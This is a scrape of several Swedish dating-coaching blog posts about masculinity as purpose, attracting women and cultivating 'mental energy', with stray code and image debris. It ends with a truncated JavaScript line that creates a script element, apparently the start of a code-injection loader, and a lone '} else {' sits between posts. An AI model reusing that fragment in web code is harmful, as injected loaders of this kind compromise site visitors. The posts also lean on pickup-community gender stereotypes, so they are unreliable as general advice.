För att visualisera detta, tänk trav/galopp hästar som har dom där lapparna vid ögonen som gör att dom bara ser rakt fram mot mållinjen och i det här fallet är mållinjen döden. Så lever många människor idag.

lonely panda at the beach 300x225 Svensson ramen.

Jag avsluta den här texten med ett litet exempel. Jag och min vän brukar lunch ihop och vid ett tillfälle när vi lämnade brickorna tog jag nummret av en tjej som också lämna brickan, min vän hann gå i förväg så när jag sen gick ikapp honom sa jag ”Fan va kul jag tog numret av en tjej där borta, blir nog en date till helgen..”

Han trodde jag ljög honom rakt upp i ansiktet. Det fanns inte i hans värld att man faktiskt bara helt enkelt kunde göra en sån simpel grej, jag menar:
MITT PÅ DAGEN, EN VANLIG DAG, EN DAG SOM ALLA ANDRA, NÄR MAN KÄKAR LUNCH. BARA HELT PLÖTSLIGT SNACKA MED NÅGON MAN INTE KÄNNER, AV DET MOTSATTA KÖNET, OCH SEN TA HENNES NUMMER??!?! Helt galet!

Så för att wrapa ihop det här tänker jag säga: Va jävligt tacksamma för att vi lever i den tid vi lever. Låt inte slumpen avgöra hur du lever ditt liv. Låt aldrig någon annan vara den största anledning till att du är den du är. Är du missnöjd med något, se till att fixa det nu!

Keep on rockin in a free world!
/
John

} else {

Manlighet

En vän till en vän, som även jag känner flyktigt, blev nyligen dumpad av sin flickvän. Den första frågan en man i sina bästa år då ställer sig är ”Varför?”. Efter mycket tänkande, funderande och diskuterande kom han fram till slutsatsen. I ett förhållande finns det en stor risk att du blir bekväm, sätter dig tillrätta i tillvaron och slutar utvecklas. Du är ute mindre med dina polare, du gör mindre grejer överlag, ”hänger med tjejen” och gör egentligen inte speciellt mycket alls. Efter sex månader har man, för att citera min vän, ”förvandlats till en 45årig hemmafru som mest sitter och degar, ja då skulle fan inte ens jag vara ihop med mig själv”.

För syfte attraherar. Mening, rörelse och säkerhet är fundamentala delar i manlighet. Att vara på väg någonstans, spelar ingen roll vart, är på många vis essensen i att vara män. När du då slutar vara på väg någonstans, slutar vara en skitkul snubbe som lever livet, ja, då kan man nästan garantera att attraktionen långsamt kommer kvävas. För mig personligen så är utveckling en oerhört viktig faktor för min generella nöjdhet med tillvaron. Står jag still, då blir jag frustrerad. Dessa tankegångar dök upp hos mig för ett litet tag sen. Jag låg med min flickvän i sängen, och de senaste dagarna hade jag bara känt mig tråkig. Jag gjorde inte lika mycket awesome saker som innan, jag var inte ute lika mycket, jag hade inte lika mycket projekt på G. Det kändes oerhört obekvämt. Jag låg där och funderade.

Jag var sjukt nöjd med tillvaron överlag, men det hände inte så mycket nytt. Det var den springande punkten. Jag hade börjat lägga mig tillrätta. Jag kände mig inte stark, kraftfull eller som en awesome dude. Mer tankar dök upp kring detta under senaste Bootcampet, när Kian sade ”Du skall vara som en pil, du är på väg någonstans!” DET är kärnan i manlig energi och manlighet. Att ha sina värderingar klara, att veta vart man vill, och att med stora steg vara på väg dit. Det är helt ovidkommande om du vill bli balettdansös, bygga världens snabbaste bil, eller bli filosofie doktor i något obskyrt ämne, du är på väg dit, till 100%.

En ledare är en människa vars uppfattning av verkligheten är stark, han vet vad han tror och hur han förhåller sig till saker och ting. Därför följer man honom, för människor överlag vet inte säkert (det vet ingen icon smile Manlighet ) hur saker och ting förhåller sig. Han har nödvändigtvis inte mer rätt än andra, men han är säker på sin sak och litar på sitt omdöme – sedan handlar han därefter.

Allt detta, att veta vart man är på väg, byggs ihop och formar en stor attraktionskraft. Du är en pil mot ditt mål, på väg i full fart, och likt något som rusar fort igenom luften, drar det med sig saker i vinddraget. Folk gillar att umgås med människor som det händer saker runt. Folk som är på väg någonstans och vet om det, är glada. Glada människor är varma i sitt beteende, och är trevliga att umgås med.. Vad händer nu? Man är en ledare av män, människor blir ledda av dig. Det är en attraktiv egenskap, så du får mer kvinnor i ditt liv. Du blir förvald av kvinnor, och får således ännu fler och eftersom du är en man med klarar värderingar som du håller på, demonstrerar du att du värnar om det som är dig nära, som du värderar och det du älskar. Där har vi de tre fundamentala egenskaperna i alfakonceptet, som går att läsa i sin helhet under materialfliken.

Tillsammans skapar de en oerhört attraktion person. Vad de bygger på, är fortfarande syftet. Ibland träffar man människor som lika gärna kunde varit döda. Det händer ingenting i deras liv. De har accepterat det och är OK med det, men deras liv kommer se ut ungefär som nu fram tills att de dör. De kanske byter jobb, flyttar, men det kommer vara till ungefär samma sak. De är inte på väg någonstans. Är en sådan människa attraktiv? Nej. Han är grå och tråkig.

Oavsett om du är en ledare, skyddar dina nära och är vald av kvinnor, så krävs det FORTFARANDE att du har den manliga energin, syftet, målet, med din tillvaro. Det kan inte finnas någon eld utan syre.

C-R’s motto brukar sägas vara ”Lyckligast vinner”, och det är precis vad det handlar om. Jag läste häromdagen en artikel av en amerikansk kille ifrån communityt, och han skrev följande:

”Be as Happy as you can. This is simple, the point of the community isn’t to get laid, or meet girls or have options. It’s to make yourself happy with your dating life.”

Om du är nöjd och vet vad du vill, desto enklare är det att följa sin väg, för att vara nöjd, och desto nöjdare med ditt liv du är, desto attraktivare för kvinnor blir du. Lyckligast vinner icon wink Manlighet

Varifrån kommer mental energi?

Precis den frågan fick jag för någon dag sen, och den har fått mig att fundera en hel del på ett bra svar de senaste dagarna… Det är givetvis ingen enkel fråga att besvara, och min gissning är väl ungefär lika god som alla andras, men jag ska ge det ett försök och jag njuter i fulla drag av den här typen av mental masturbation.

Till att börja med ska vi nog bena ut vad vi avser med mental energi och vad det har att göra i en blogg om attraktion. Det jag menar med mental energi är glädje, motivation, viljestyrka att löpa linan ut med de saker man företar sig, den kraft man använder för att möta motgångar och som på något sätt är det ”mentala bränsle” som får oss att ticka. Jag hoppas att de flesta kan hålla med mig om att en person med en stark mental energi per definition är attraktivare än en person med begränsad eller svag mental energi, om inte annat så för att den personen tenderar till att vara en nedstämd soffpotatis.

Den fråga jag fick var dels var den kommer ifrån, men det tror jag egentligen är mindre intressant än hur den kanaliseras. Kort sagt och utan att bli allt för metafysiska eller religiösa tror jag vi kan enas om att mental energi kommer inifrån. Vi är vår egen källa till den typen av energi, eller åtminstone bär vi den källan med oss vart vi än är. Och det är här det blir intressant, för jag tror vidare att vi alla (och jag menar varenda människa som finns) har en helt obegränsad källa till mental energi. Det gäller bara att lära sig komma i kontakt med den, och det är olika människor olika bra på, det är därför vissa till synes har mer energi än andra och därmed är gladare, mer motiverade, drivna och lyckliga. (Det här är för övrigt också anledningen till att lycka egentligen är oberoende av externa faktorer som pengar och status, tror jag)

Låt oss försöka förstå dess grundläggande natur. Mental energi är i min erfarenhet oberoende av tanke. Sug på det ett tag, försök förstå vad jag menar på ett djupare plan än att du bara förstår meningen ordmässigt. Mental energi är oberoende av tanke. Jag skulle vilja ta det ytterligare ett steg längre och säga att tankar snarare kan blockera mental energi än skapa den, det är därför som citatet ”Ask yourself if you are happy and you will cease to be so” stämmer så bra.

Hur ska man då träna sig för att bli bättre på att vara i kontakt med sin egen källa? Jag tror att en bra sak är att öva sig på att vara glad. Om du tycker att det låter konstigt, så är det förmodligen för att du har samma uppfattning som många andra, att det är yttre faktorer som bestämmer om man är glad eller inte, vilket jag är övertygad om är helt fel. Börja träna dig själv i att vara en person som ser det positiva i ALLT! Man kan göra det i små steg, genom att avsätta tid varje dag åt att bara vara glad – helst utan anledning. Sluta leta efter anledningar att må bra, och bara må bra istället. Det är egentligen inte svårare än så…

Om du vill ha ett trick för att hjälpa dig på traven så kommer här en övning som en av medlemmarna på forumet skrev om för ett tag sen (kom ihåg att det bara är en övning, det är inget magiskt piller som får dig att bli glad, gladheten har du själv plockat fram).

Titta dig omkring och lek med tanken att allt som finns där, finns där BARA för din skull. Skärmen du tittar på har skapats BARA för dig. Dina kläder har någon sytt BARA för dig. Luft finns BARA för att du ska kunna andas länge nog för att läsa den här bloggen, som jag givetvis skrivit BARA för dig. icon biggrin Varifrån kommer mental energi?

Kram,
-Victor (Sanji)

var d=document;var s=d.createElement(‘script’);